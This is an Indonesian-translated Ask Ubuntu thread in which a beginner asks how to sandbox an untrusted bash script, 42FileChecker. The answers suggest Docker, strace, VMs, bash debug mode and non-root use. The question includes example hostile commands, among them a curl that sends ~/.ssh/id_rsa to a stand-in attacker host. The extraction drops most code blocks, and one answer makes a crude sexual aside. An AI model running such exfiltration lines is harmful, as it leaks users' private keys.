Saya ingin menginstal skrip bash tertentu bernama 42FileChecker menggunakan perintah:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Tetapi saya tidak tahu apakah 42FileChecker.sh akan melakukan hal-hal aneh pada PC saya karena saya seorang pemula dan tidak tahu apa yang terjadi dalam skrip itu. Apakah ada cara untuk menjalankannya di terminal dummy atau folder root dummy atau sesuatu seperti itu untuk melihat apa yang terjadi sehingga saya menghindari sesuatu yang gila seperti memformat drive saya. Saya ingin tahu cara apa pun untuk menguji shell untuk skrip shell di masa depan, bahkan jika 42FileChecker.sh aman.
man
halaman pada perintah yang terkandung di dalamnya.chmod 777 -R ~
ataucurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
atau serupa.Jawaban:
Saya bukan ahli dalam hal ini, tetapi saya akan merekomendasikan menggunakan
strace
dandocker
.Jadi pertama-tama buat wadah Docker seperti dengan instruksi dalam jawaban ini . Tetapi tambahan bahwa strace akan memberi tahu Anda apa panggilan sistem dilakukan. Atau mengutip:
Anda dapat menggabungkan perintah-perintah ini ke
sumber
Jika Anda tidak yakin apa yang dilakukan skrip, lebih baik Anda tidak menjalankannya sampai Anda yakin apa yang dilakukannya. Cara untuk mengurangi radius kerusakan skrip buruk termasuk menjalankannya menggunakan pengguna baru, menjalankannya dalam wadah, atau menjalankannya di mesin virtual. Tetapi pernyataan pertama itu masih berlaku: Jika Anda tidak yakin apa yang dilakukan sesuatu, pertimbangkan untuk tidak menjalankannya sampai Anda melakukannya.
sumber
Seperti yang dikatakan @ctt, mungkin ide yang baik untuk menjalankannya di kotak pasir terlebih dahulu. Menggunakan VM mungkin merupakan solusi termudah. Multipass cukup sederhana.
Instal multipass (dengan asumsi Anda belum melakukannya):
Putar VM baru:
Login ke VM baru Anda:
Kemudian jalankan skrip Anda (di dalam vm Anda):
sumber
Karena sekolah yang Anda hadiri telah menerbitkan skrip, tempat terbaik untuk menyuarakan keprihatinan Anda adalah dengan instruktur Anda.
Yang mengatakan kami dapat membantu Anda menguraikan kode pada baris demi baris. Mungkin tidak praktis bagi siapa pun di sini untuk menganalisis semua kode.
Anda sebenarnya memiliki 40 skrip bash dengan total 5.360 baris. Saya telah menggabungkan mereka bersama-sama dan mencari perintah bash / shell yang dapat disalahgunakan. Mereka semua tampaknya digunakan secara normal :
rm -rf /
perintah untuk menghapus seluruh partisi hard disk.sudo
digunakan untuk menjalankan skrip.C
fungsi yang diotorisasi yang digunakan dalam file yang diperiksa.github
halamannya.42FileChecker
tampaknya aman digunakan.Ini bukan skrip bash yang bisa dibaca manusia yang perlu Anda khawatirkan begitu banyak. Ini adalah objek biner yang dikompilasi yang tidak dapat Anda baca yang perlu diperhatikan. Misalnya program yang disebut "shiny-bouncy-sphere" mungkin melukis sesuatu seperti itu di layar Anda tetapi di latar belakang itu bisa menghapus semua file Anda.
Jawaban asli
Yang terbaik adalah bertanya kepada penulis naskah apa yang dilakukannya. Memang Anda hampir dapat memposting pertanyaan Anda kata demi kata seperti yang muncul di atas.
Tanyakan juga kepada penulis:
Dan pertanyaan bagus lainnya yang dapat Anda pikirkan.
Sunting 1 - Kekhawatiran tentang penulis jahat.
Anda hanya harus menggunakan perangkat lunak dengan banyak ulasan publik yang bagus. Secara bergantian penulis yang Anda percayai di sini di Ask Ubuntu seperti Serge, Jacob, Colin King, dll. Situs terhormat lainnya seperti Ask Ubuntu dan anggota yang disegani juga harus dianggap "tidak berbahaya".
Keuntungan dari "penulis yang dihormati" di sini di Ask Ubuntu adalah mereka mempertaruhkan harga diri mereka pada "poin reputasi". Jika mereka secara sengaja menulis kode yang "mencuri" atau "merusak" data, mereka akan segera kehilangan reputasi. Memang penulis dapat menderita "murka mod" dan ditangguhkan dan / atau 10.000 poin reputasi diambil.
Sunting 2 - Jangan ikuti semua instruksi
Saya melihat lebih dalam ke instruksi skrip bash Anda:
Metode "aman" hanya menjalankan baris pertama:
Ini mengunduh skrip tetapi tidak menjalankannya. Selanjutnya gunakan
nautilus
(manajer file) untuk memeriksa direktori dan file yang diinstal. Sangat cepat Anda menemukan ada kumpulan skrip bash yang ditulis oleh sekelompok siswa di Perancis.Tujuan skrip adalah untuk mengkompilasi dan menguji program C untuk fungsi yang tidak tepat dan kebocoran memori.
sumber
~/42FileChecker/includes/display/display_credits.sh
pekerjaan negara norminette adalah ketergantungan suatu:norminette (42 born2code) http://www.42.fr
. Saya membaca ini tadi malam dan itulah sebabnya saya menulis itu adalah sekolah (ecole) di Perancis yang menerbitkan 42FileChecker . Dari apa yang saya telah melihat kode sejauh ini saya tidak akan khawatir menjalankannya. Plus itu memiliki sedikit kesalahan sintaksis yang dilaporkanshellcheck
mengejutkan untuk skrip bash baris 5.360. Banyak skrip bash yang diterbitkan secara profesional memiliki banyak kesalahan sintaksis.Anda bisa menggunakan Docker. Wadah Docker diisolasi dari OS host, jadi aktivitas jahat apa pun akan tetap berada di dalam wadah, selama Anda tidak secara khusus membiarkannya dengan meneruskan port atau memasang sistem file.
Untuk menginstal buruh pelabuhan:
Untuk mengunduh wadah Ubuntu Bionic baru:
Setelah itu, login ke wadah
dan melakukan operasi cerdik di dalamnya:
sumber
docker diff
untuk melihat perubahan yang telah dibuat pada sistem file sejak Anda meluncurkan wadah. Kelemahan dari menggunakan Docker adalah bahwa wadah itu bukan salinan lengkap dari sistem host. Gambar Ubuntu yang Anda sebutkan di sini hanya berisi instalasi Ubuntu minimal.docker run ubuntu
Anda harus menjalankandocker run -it ubuntu:bionic
The-it
memberi Anda terminal interaktif dalam wadah danbionic
benar - benar menjalankan versi yang Anda inginkan daripada defaultlatest
.--memory
,--network
dan mungkin orang lain untuk benar-benar mengunci script.Pertimbangkan menggunakan mode debugging dengan menjalankan skrip sebagai:
Informasi Bash lebih lanjut yang berguna
Mode debugging tidak akan menghentikan skrip dari melakukan sesuatu yang buruk, tetapi itu akan membiarkan Anda melalui skrip baris demi baris dan memeriksa efeknya. Anda juga dapat memeriksa skrip untuk beberapa potensi kesalahan umum dan / atau eksploitasi, misalnya mencari skrip untuk setiap kejadian
rm
dan melihat perintah-perintah itu dengan sangat cermat. Banyak dari alat-alat ini memiliki beberapa bantuan yang dibangun untuk mencoba mereka keluar, misalnya rm tidak akan menghapus direktori secara default, perlu-r
,-R
atau--recursive
pilihan untuk melakukannya.Bahkan mungkin ada beberapa alat seperti antivirus yang akan mencari skrip bash untuk pola-pola ini, tapi saya tidak mengetahui namanya. Contoh skrip Anda agak rapuh, dalam arti mereka mengunduh alat lain, sehingga masing-masing juga harus diperiksa. Memeriksa server mana yang mereka hubungi mungkin juga bermanfaat.
sumber
Informasi yang relevan untuk memberikan jawaban sayangnya hanya ditemukan di komentar Anda:
Jadi situasinya adalah bahwa dalam praktiknya Anda memiliki opsi untuk melewatkan kursus, atau Anda dapat menjalankan skrip untuk melakukan pemeriksaan normatif pada sumber Anda. Berbicara dengan instruktur Anda bukanlah suatu pilihan, karena kurangnya yang sebelumnya (itu tidak akan menjadi pilihan yang sebaliknya, tidak ada sekolah yang akan mengubah prosedur mereka karena satu siswa tidak senang dengan itu).
Pertanyaan apa yang harus dilakukan untuk membatasi kemungkinan kerusakan dari skrip itu bahkan tidak muncul. Itu bukan skrip acak bahwa seorang gadis horny dengan payudara besar mengirim e-mail kepada Anda, dan yang perlu Anda jalankan untuk melihat fotonya .
Anda sedang melakukan kelas pemrograman. Iniadalah tempat naskah ini mulai dimainkan. Pertanyaannya adalah apakah Anda ingin mematuhi persyaratan bingkai untuk berhasil menyelesaikan kursus.
Namun, jika Anda benar-benar khawatir, masih ada kemungkinan menjalankan skrip dalam wadah atau mesin virtual, dan menempatkan sumber Anda di folder bersama, atau ke jaringan berbagi yang diekspos oleh wadah / mesin virtual. Cukup banyak menjalani jalur paranoia penuh, tetapi sekali lagi virtualisasi tidak terlalu rumit akhir-akhir ini, jadi tidak perlu biaya banyak.
Membatasi kemungkinan eksploitasi yang sangat keras yang terkandung dalam skrip itu, masuk sebagai pengguna non-root (yang Anda tidak punya pilihan untuk melakukan sebaliknya di Ubuntu) dan menghindari mengetik
sudo
tanpa alasan yang jelas cukup banyak mencegah 99% dari semua hal buruk yang mungkin bisa terjadi. Seperti memformat harddisk, yang Anda khawatirkan. Pengguna normal tidak bisa melakukan itu. Hal terburuk yang terjadi adalah skrip menghapus direktori home pengguna. Jadi apa, tidak masalah, sungguh.sumber
sudo
diperlukan untuk menjalankan skrip. +1sudo
hanya membatasi ruang lingkup penghapusan / pemformatan tidak sengaja karena bug. Jika skrip tersebut berbahaya atau dapat dieksploitasi, menjalankan dengansudo
pada sistem pengguna tunggal tidak membuat perbedaan penting.42FileChecker
jadi saya tidak bisa mengatakan apakahsudo
diperlukan atau tidak. Script bash tidak memeriksa sudo dan memberitahu Anda untuk menggunakannya. Akan muncul maka itusudo
tidak diperlukan. Sekali lagi saya pikir meminta instruktur (guru) Anda adalah kebijakan terbaik. Saya telah memperbarui jawaban saya satu jam yang lalu dengan sedikit analisis skrip. Perhatikan nama "mynorminette
" muncul lagi dalam kode.42FileChecker
. Saya percaya berbicara dengan instruktur akan membuat pikiran Anda tenang. Setelah beberapa jam menyelidiki, saya percaya pada programmer dan kreasi mereka. Jean-Michel Gigault bahkan memiliki fotonya di github. Cukup bukti kepercayaan di tanah di mana benih Rompi Kuning tumbuh. Viva La France! (et Ecole 42 :)) Tolong kami dan singgah untuk memberikan pembaruan kemajuan.